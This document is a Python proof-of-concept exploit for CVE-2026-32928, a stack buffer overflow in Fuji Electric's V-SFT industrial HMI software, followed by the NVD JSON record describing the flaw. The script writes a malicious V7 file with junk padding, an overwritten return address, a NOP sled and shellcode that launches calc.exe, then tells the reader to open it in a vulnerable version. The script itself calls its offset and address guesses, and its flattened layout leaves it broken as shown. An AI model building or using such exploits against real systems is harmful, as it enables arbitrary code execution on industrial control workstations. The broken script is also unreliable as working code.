CVE-2026-32928

import struct # Proof of Concept for CVE-2026-32928 # This script creates a malicious V7 file to trigger the stack overflow. def generate_malicious_v7(filename): # V7 File Header Structure (Simplified for demonstration) header = b"V7\x00" + b"\x00" * 20 # Vulnerability trigger in VS6ComFile!CSaveData::_conv_AnimationItem # We need to overflow the stack buffer. # Payload structure: [Junk to offset] + [Return Address] + [Shellcode/NOPs] # Offset based on typical stack layout (requires debugging to be precise) offset = 524 junk = b"A" * offset # Return Address: Hypothetical address to redirect execution (e.g., JMP ESP) # 0x7C874413 is a common address in older Windows kernels (example only) ret_addr = struct.pack("<I", 0x7C874413) # NOP sled and Shellcode (calculators) nop_sled = b"\x90" * 32 # Shellcode example: WinExec("calc.exe", 0) shellcode = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0\xCC" payload = header + junk + ret_addr + nop_sled + shellcode with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file generated: {filename}") print("[*] Open this file with V-SFT <= 6.2.10.0 to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_v7("exploit.v7")

{"cve": {"id": "CVE-2026-32928", "sourceIdentifier": "[email protected]", "published": "2026-04-01T23:17:03.267", "lastModified": "2026-04-07T18:27:31.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "V-SFT versions 6.2.10.0 and prior contain a stack-based buffer overflow in VS6ComFile!CSaveData::_conv_AnimationItem. Opening a crafted V7 file may lead to arbitrary code execution on the affected product."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fujielectric:v-sft:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.2.10.0", "matchCriteriaId": "36E67AE4-958D-4DA7-B5E2-95A3BDD29BF6"}]}]}], "references": [{"url": "https://felib.fujielectric.co.jp/en/M10010/M20060/document_detail/5d9dd71d-9494-41a4-aa5c-8e6b8b21066b?region=en-glb", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://jvn.jp/en/vu/JVNVU90448293/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}